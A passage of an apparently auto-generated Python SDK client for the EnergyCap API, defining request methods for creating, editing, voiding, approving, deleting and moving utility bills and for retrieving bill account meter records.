:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillIdResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillIdResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_bill.metadata['url']
# Construct parameters
query_parameters = {}
if save_as_resolved is not None:
query_parameters['saveAsResolved'] = self._serialize.query("save_as_resolved", save_as_resolved, 'bool')
if comment is not None:
query_parameters['comment'] = self._serialize.query("comment", comment, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillIdResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_bill.metadata = {'url': '/api/v3/bill'}
def get_bill(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one bill.
:param bill_id: The bill identifier
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill.metadata = {'url': '/api/v3/bill/{billId}'}
def edit_bill(
self, bill_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit an existing bill.
If enabled, audits will be processed for the edited bill.
Below are some clarifications regarding the rules for editing an
existing bill:
* Bills which are marked as "void" may not be edited
* Users without UpdateApprovedBills.Edit permission may not edit bills
marked as "Approved"
* Users without ExportBills.Edit permission may not edit bills exported
to AP or GL
* Bills must have at least one line item
* If configured, required bill headers will be enforced.
:param bill_id:
:type bill_id: int
:param body:
:type body: ~energycap.sdk.models.BillEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillIdResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillIdResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_bill.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillIdResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_bill.metadata = {'url': '/api/v3/bill/{billId}'}
def get_all_bills_bodylines(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all bill's bodylines.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BodylineResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_all_bills_bodylines.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[BodylineResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_all_bills_bodylines.metadata = {'url': '/api/v3/bill/bodyline'}
def bill_action_void_method(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update void flag for the given billIDs.
:param body: Void action
:type body: ~energycap.sdk.models.BillActionVoid
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_action_void_method.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionVoid')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_action_void_method.metadata = {'url': '/api/v3/bill/void'}
def bill_action_update_headers(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update all headers for a given list of bills
If a new begin date or end date is being set, bills that would have end
dates on or before their begin date will not be updated
If the user does not have permission to edit exported or approved
bills, those bills will not be updated
Bill audits won't be fired.
:param body: Bill header update action
:type body: ~energycap.sdk.models.BillActionHeaderUpdate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_action_update_headers.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionHeaderUpdate')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_action_update_headers.metadata = {'url': '/api/v3/bill/billHeaders'}
def bill_action_approve_method(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update approved flag for the given billIDs.
:param body: approve action
:type body: ~energycap.sdk.models.BillActionApprove
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_action_approve_method.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionApprove')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_action_approve_method.metadata = {'url': '/api/v3/bill/approve'}
def bill_action_export_hold_method(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Update export hold flag for the given billIDs.
:param body: export hold action
:type body: ~energycap.sdk.models.BillActionExportHold
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_action_export_hold_method.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionExportHold')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_action_export_hold_method.metadata = {'url': '/api/v3/bill/exporthold'}
def bill_action_delete_method(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Delete given billIDs.
:param body:
:type body: ~energycap.sdk.models.BillActionDelete
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillDeleteActionResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillDeleteActionResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_action_delete_method.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionDelete')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillDeleteActionResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_action_delete_method.metadata = {'url': '/api/v3/bill/delete'}
def get_possible_destination_accounts(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves a list of accounts that contain meters of ALL of the
commodities represented by the given Bills.
:param body: List of Bill Ids to be used to determine the commodities
to be matched on the destination accounts.
:type body: ~energycap.sdk.models.ListIds
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MoveBillsDestination or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MoveBillsDestination or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_possible_destination_accounts.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListIds')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MoveBillsDestination', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_possible_destination_accounts.metadata = {'url': '/api/v3/bill/possibleDestinationAccounts'}
def move_bills_to_account(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Moves the list of given bills to the specified destination account and
meters. Each source Meter will be matched with
a corresponding destination Meter based on commodity.
:param body: DTO containing a list of Bill Ids, the destination
Account Id, the destination AcountMeter Ids, a flag
indicating whether the Account GL information should be updated, and a
flag indicating whether the Meter GL information
should be updated.
:type body: ~energycap.sdk.models.BillActionMove
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.move_bills_to_account.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionMove')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
move_bills_to_account.metadata = {'url': '/api/v3/bill/moveBills'}
def get_bill_account_meters_actual(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill account meter records.
:param filter: Number of years of data to return includes the current
year - Defaults to 4
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillAccountMeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_account_meters_actual.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[BillAccountMeterResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_bill_account_meters_actual.metadata = {'url': '/api/v3/bill/billaccountmeter/actual'}
def get_bill_account_meter_actual_by_bill_id(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill account meter record for a specific billId.
:param bill_id: The bill identifier
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillAccountMeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_account_meter_actual_by_bill_id.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillAccountMeterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_account_meter_actual_by_bill_id.metadata = {'url': '/api/v3/bill/{billId}/billaccountmeter/actual'}
def get_bill_account_meters_calendarized(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill account meter calendarized records.
:param filter: Number of years of data to return includes the current
year - Defaults to 4
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillAccountMeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_account_meters_calendarized.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[BillAccountMeterResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_bill_account_meters_calendarized.metadata = {'url': '/api/v3/bill/billaccountmeter/calendarized'}
def get_bill_account_meter_calendarized_by_bill_id(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill account meter calendarized record for a specific billId.
:param bill_id: The bill identifier
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillAccountMeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_account_meter_calendarized_by_bill_id.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillAccountMeterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_account_meter_calendarized_by_bill_id.metadata = {'url': '/api/v3/bill/{billId}/billaccountmeter/calendarized'}
def get_bill_account_meters_normalized(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill account meter normalized records.
:param filter: Number of years of data to return includes the current
year - Defaults to 4
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillAccountMeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_account_meters_normalized.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[BillAccountMeterResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_bill_account_meters_normalized.metadata = {'url': '/api/v3/bill/billaccountmeter/normalized'}
def get_bill_account_meter_normalized_by_bill_id(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill account meter normalized record for a specific billId.
:param bill_id: The bill identifier
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillAccountMeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_account_meter_normalized_by_bill_id.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillAccountMeterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_account_meter_normalized_by_bill_id.metadata = {'url': '/api/v3/bill/{billId}/billaccountmeter/normalized'}
def get_bill_account_meters_statistics(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill account meter statistics records.
:param filter: Number of years of data to return includes the current
year - Defaults to 4
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillAccountMeterStatisticsResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_account_meters_statistics.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[BillAccountMeterStatisticsResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_bill_account_meters_statistics.metadata = {'url': '/api/v3/bill/billaccountmeter/statistics'}
def get_bill_account_meter_statistics_by_bill_id(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill account meter statistics record for a specific billId.
:param bill_id: The bill identifier
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillAccountMeterStatisticsResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_account_meter_statistics_by_bill_id.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillAccountMeterStatisticsResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_account_meter_statistics_by_bill_id.metadata = {'url': '/api/v3/bill/{billId}/billaccountmeter/statistics'}
def get_bill_entry_data(
self, account_id, begin_date=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all data necessary to load the bill entry screen.
:param account_id:
:type account_id: int
:param begin_date:
:type begin_date: datetime
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillEntryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillEntryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_entry_data.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if begin_date is not None:
query_parameters['beginDate'] = self._serialize.query("begin_date", begin_date, 'iso-8601')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillEntryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_entry_data.metadata = {'url': '/api/v3/account/{accountId}/billEntry'}
def get_account_bill_history(
self, account_id, billing_period=None, number_of_years=5, include_void=False, include_accrual=False, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill history for an account.
:param account_id: accountId to get bill history for
:type account_id: int
